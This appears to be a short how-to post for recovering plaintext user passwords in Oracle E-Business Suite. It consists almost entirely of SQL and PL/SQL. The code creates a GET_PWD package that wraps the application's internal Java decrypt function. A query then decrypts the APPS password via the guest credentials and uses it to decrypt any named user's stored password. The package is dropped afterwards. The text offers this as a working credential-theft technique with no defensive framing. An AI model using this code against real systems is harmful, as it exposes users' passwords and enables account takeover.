To Find The Oracle Application USER Password

select * from ALL_OBJECTS
where 1=1
and OBJECT_NAME like 'GET_PWD'
;
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--> Package Specification
---------------------------------CREATE OR REPLACE PACKAGE GET_PWD
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2;
END GET_PWD;
/

--> Package Body
----------------------------------CREATE OR REPLACE PACKAGE BODY GET_PWD
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2
   AS
      LANGUAGE JAVA
      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END GET_PWD;
/

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To Find The Oracle Application USER Password Query

SELECT usr.user_name,
       get_pwd.decrypt
          ((SELECT (SELECT get_pwd.decrypt
                              (fnd_web_sec.get_guest_username_pwd,
                               usertable.encrypted_foundation_password
                              )
                      FROM DUAL) AS apps_password
              FROM fnd_user usertable
             WHERE usertable.user_name =
                      (SELECT SUBSTR
                                  (fnd_web_sec.get_guest_username_pwd,
                                   1,
                                     INSTR
                                          (fnd_web_sec.get_guest_username_pwd,
                                           '/'
                                          )
                                   - 1
                                  )
                         FROM DUAL)),
           usr.encrypted_user_password
          ) PASSWORD
  FROM FND_USER USR
 WHERE usr.user_name = :USER_NAME;
 

======================================================================

drop package GET_PWD;